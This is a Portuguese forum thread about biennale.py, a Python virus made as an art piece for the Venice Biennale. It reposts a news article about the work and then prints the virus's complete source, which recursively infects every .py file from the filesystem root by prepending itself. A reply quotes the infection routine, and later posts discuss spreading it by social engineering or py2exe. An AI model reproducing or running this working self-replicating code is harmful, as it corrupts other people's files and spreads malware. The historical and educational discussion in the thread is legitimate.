• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

Kratos

Virus Biennale.py

19 mensagens neste tópico

Vírus agora é obra de arte

Ja havia postado isso no forum Darkers do Brasil, e trago agôra para o P@P:

Nada é mais chato que um vírus de computador. Ainda assim, o mundo da arte contemporânea, sempre em busca do novo, do polêmico e do que está na moda, está começando a reconhecer os vírus como uma forma de arte, talvez por eles se encaixarem um pouco em todas as categorias citadas acima. A Bienal de Veneza desse ano, um dos mais prestigiosos eventos do mundo da arte, é o ponto de lançamento do bienale.py. Trata-se da interpretação artística dos destrutivos vírus Melissa e Love Bug, que ganharam as manchetes nos últimos anos. Na Bienal, que abriu dia 10 de junho, um computador infectado com o bienale.py continuará exposto até o final da exposição, em novembro. Os visitantes podem testemunhar o sistema alheio sendo destruído e os arquivos corrompidos em tempo real, como se assistissem a alguma encenação macabra.

O vírus foi criado pelo grupo artístico europeu 0100101110101101.ORG, em colaboração com o epidemiC, um outro grupo conhecido por suas habilidades de programação. O vírus afeta apenas programas escritos em linguagem Python, e se espalha se alguém baixar um software infectado ou utilizar um disquete corrompido.

Pelo fato de a Python ser uma linguagem consideravelmente obscura, os artistas esperam que o código-fonte, que eles imprimiram em 2 mil camisetas e publicaram em uma edição limitada de 10 CD-ROMs, será a forma mais contagiante de distribuição. "O código-fonte é o produto de uma mente humana, como a música, a poesia e a pintura", explicou a equipe do epidemiC, qe prefere falar coletivamente - e de uma forma meio pretensiosa. "O vírus é um trabalho crítico mas sem utilidade, como a arte clássica".

Um membro da 0100101110101101.ORG, que também prefere falar coletivamente (e não se identificar) acrescentou:

"o único objetivo de um vírus é se reproduzir. O nosso é familiarizar as pessoas com os vírus de computador, para que não fiquem tão histéricas ou paranóicas da próxima vez que um deles atacar".

Os artistas criaram uma mini-histeria em torno da obra. Mais de 1400 camisetas já foram vendidas, a US$ 15 cada. E eles venderam três CD-ROMs, ao preço de US$ 1 500 a unidade. Os compradores preferiram continuar no anonimato por motivos legais. O código potencialmente perigoso está disponível de graça no site dos artistas.

"Teoricamente, deveríamos ser processados", disse um porta-voz da 0100101110101101.ORG. "Mas quase não recebemos queixas. Bem, recebemos alguns e-mails de experts em segurança, que querem saber quem são esses artistas desgraçados". Leis como a Lei de Abuso e Fraude em Computadores americana dizem que é ilegal enviar código danoso em comunicações interestaduais ou internacionais. Mas os artistas não se sentem culpados por nenhum dano que o bienale.py possa causar, pois enviaram um alerta às grandes companhias de software e antivírus, inclusive a Microsoft e a McAfee. "Explicamos como desabilitar nosso vírus, portanto as pessoas saberão como combatê-lo", disse o porta-voz.

Nem todos aceitam essa desculpa. "Se um ladrão deixa um bilhete dizendo que sente muito, nos sentimos melhor por causa disso? Não", diz Jason Catlett, presidente de um grupo anti-spam chamado Junkbusters, que discursou perante o Congresso sobre assuntos de privacidade na Internet. "Fazer coisas socialmente indesejáveis em nome da arte não redime quem faz".

Esta não é a primeira vez que artistas adotam práticas perturbadoras para atrair a atenção. O Spam, por exemplo, está emergindo como "forma de arte", também. O grupo de Net Art Jodi.org enviou 1039 mensagens de spam através da lista de e-mail Rhizome Raw em janeiro desse ano.

Alguns teóricos da arte pensam que uma realização artística com vírus de computador pode apenas ser expressada efetivamente se os artistas o fizerem através da disseminação do próprio vírus. "Para falar da cultura contemporânea, você tem que ser capaz de usar todos os tipos de expressão da cultura contemporânea", disse Lisa Jevbratt, que ensina arte e mídia na San Jose State University. "Portanto, um vírus pode ser considerado uma forma legítima de arte.

Obviamente, haverá artistas que farão coisas realmente novas e interessantes com isso. Mas haverá também aqueles cujas ações não serão nada mais do que reaproveitamento de críticas".

Estudem o script:

# biennale.py________________go          	 to ________ 49ht Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG __ + __ [epidemiC] http://www.epidemic.ws

from dircache import *
from string import *
import os
import sys
from stat import *

def fornicate(guest):
try:
	soul = open(guest, "r")
	body = soul.read()
	soul.close()
	if find(body, "[epidemiC]") == -1:
		soul = open(guest, "w")
		soul.write(mybody + "\n\n" + body)
		soul.close()
except IOError: pass


def chat(party, guest):
if split(guest, ".")[-1] in ("py", "pyw"):
	fornicate(party + guest)


def join(party):
try:
	if not S_ISLNK(os.stat(party)[sT_MODE]):
		guestbook = listdir(party)
		if party != "/": party = party + "/"
		if not lower(party) in wank and not "__init__.py" in guestbook:
			for guest in guestbook:
				chat(party, guest)
				join(party + guest)
except OSError: pass


if __name__ == '__main__':
mysoul = open(sys.argv[0])
mybody = mysoul.read()
mybody = mybody[:find(mybody, "#"*3) + 3]
mysoul.close()
blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
if blacklist[-1] != "/": blacklit = blacklist + "/"
wank = [lower(blacklist), "/proc/", "/dev/"]
join("/")
print "> This file was contamined by biennale.py, the world slowes virus."
print "Either Linux or Windows, biennale.py is definetely tha first Python virus."
print "[epidemiC] http://www.epidemiC.ws __ + __ HTTP://WWW.0100101110101101.ORG"
print "> _________________________ 49th Biennale di Venezia _____________ <"
###

Kratos

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

def fornicate(guest):
try:
	soul = open(guest, "r")
	body = soul.read()
	soul.close()
	if find(body, "[epidemiC]") == -1:
		soul = open(guest, "w")
		soul.write(mybody + "\n\n" + body)
		soul.close()
except IOError: pass

É bem :)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tipo, mas este vírus, para se poder reproduzir e ou fornicar, precisa de ser corrido pelo utilizador do computador. Ou existe alguma coisa no código que o torne autónomo?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tem de ser corrido pelo utilizador, o que não é difícil de fazer.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tem de ser corrido pelo utilizador, o que não é difícil de fazer.

Só se for um gajo estúpido. Tenta lá convencer-me a.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tem de ser corrido pelo utilizador, o que não é difícil de fazer.

Só se for um gajo estúpido. Tenta lá convencer-me a.

Só preciso de te fazer o mesmo que se faz com os worms do MSN ou que se recebe por mail.
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tem de ser corrido pelo utilizador, o que não é difícil de fazer.

Só se for um gajo estúpido. Tenta lá convencer-me a.

Só preciso de te fazer o mesmo que se faz com os worms do MSN ou que se recebe por mail.

Nunca fui infectado por tal.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tem de ser corrido pelo utilizador, o que não é difícil de fazer.

Só se for um gajo estúpido. Tenta lá convencer-me a.

Só preciso de te fazer o mesmo que se faz com os worms do MSN ou que se recebe por mail.

Nunca fui infectado por tal.

Mas há quem tenha sido. Com um pouco de engenharia social, as pessoas fazem isso e muito mais.
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tem de ser corrido pelo utilizador, o que não é difícil de fazer.

Só se for um gajo estúpido. Tenta lá convencer-me a.

Só preciso de te fazer o mesmo que se faz com os worms do MSN ou que se recebe por mail.

Nunca fui infectado por tal.

Mas há quem tenha sido. Com um pouco de engenharia social, as pessoas fazem isso e muito mais.

Tipo, mas vê lá. O infectado teria de ter o Python instalado. Se fosse em Win, seria um coder. E n vejo um coder a cair numa dessas.

Se fosse um Lin. Teria de ser o pai do rolando2424 a cair nessa.

Se fosse um Mac. Teria de ser um homólogo do pai do rolando2424 a cair nessa.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Para Windows, py2exe era o bastante. Em Linux também há nabos, em Mac idem.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Para Windows, py2exe era o bastante. Em Linux também há nabos, em Mac idem.

py2exe fica pesado comó caraças.

Lin e Mac, já falei do pai do rolando2424.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Não falem mal do meu pai que ainda vocês estavam em fase de projecto já ele andava a fazer bases de dados em DOS :cheesygrin:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Pois... o programa por si só como está não é um virus. Para ser um virus tem que se instalar a si proprio sem o utilizador saber.

Isto pode incluir-se na distribuição de outro programa... aí sim, é um virus.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Não falem mal do meu pai que ainda vocês estavam em fase de projecto já ele andava a fazer bases de dados em DOS :cheesygrin:

Ninguém falou mal do teu pai! Só disseram que ele caía numa dessas. :)

Falar mal dele era dizer "Tal filho tal Pai!" :P

Pois... o programa por si só como está não é um virus. Para ser um virus tem que se instalar a si proprio sem o utilizador saber.

Isto pode incluir-se na distribuição de outro programa... aí sim, é um virus.

Foi o que eu pensei. Por isso comecei a discussão. E isso será possível? :cheesygrin:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Não falem mal do meu pai que ainda vocês estavam em fase de projecto já ele andava a fazer bases de dados em DOS :cheesygrin:

Ninguém falou mal do teu pai! Só disseram que ele caía numa dessas. :cheesygrin:

Falar mal dele era dizer "Tal filho tal Pai!" :)

Acho que ele não caia numa dessas :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Não falem mal do meu pai que ainda vocês estavam em fase de projecto já ele andava a fazer bases de dados em DOS :cheesygrin:

Ninguém falou mal do teu pai! Só disseram que ele caía numa dessas. :cheesygrin:

Falar mal dele era dizer "Tal filho tal Pai!" :)

Acho que ele não caia numa dessas :P

Maybe, maybe not. Anyway, vamos deixar-nos de off-topic.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Pois... o programa por si só como está não é um vírus. Para ser um vírus tem que se instalar a si próprio sem o utilizador saber.

Isto pode incluir-se na distribuição de outro programa... aí sim, é um vírus.

Realmente você acaba de dizer asneira... jamais repita isto ;)

Se você perceber, ele se copia para outro Script Python, mantendo assim um ciclo de contaminação, insto se o usuário executa lo.

Quanto a sua Auto Disseminação, "sem o utilizador saber",  você deve estar se confundindo com um malware do tipo worm.

Que não é o caso do Biennale.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Pois... o programa por si só como está não é um vírus. Para ser um vírus tem que se instalar a si próprio sem o utilizador saber.

Isto pode incluir-se na distribuição de outro programa... aí sim, é um vírus.

Realmente você acaba de dizer asneira... jamais repita isto :P

Se você perceber, ele se copia para outro Script Python, mantendo assim um ciclo de contaminação, insto se o usuário executa lo.

Quanto a sua Auto Disseminação, "sem o utilizador saber",  você deve estar se confundindo com um malware do tipo worm.

Que não é o caso do Biennale.

O que ele quis dizer é que um vírus só é vírus, se o user não o correr. Nem que seja a primeira vez.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora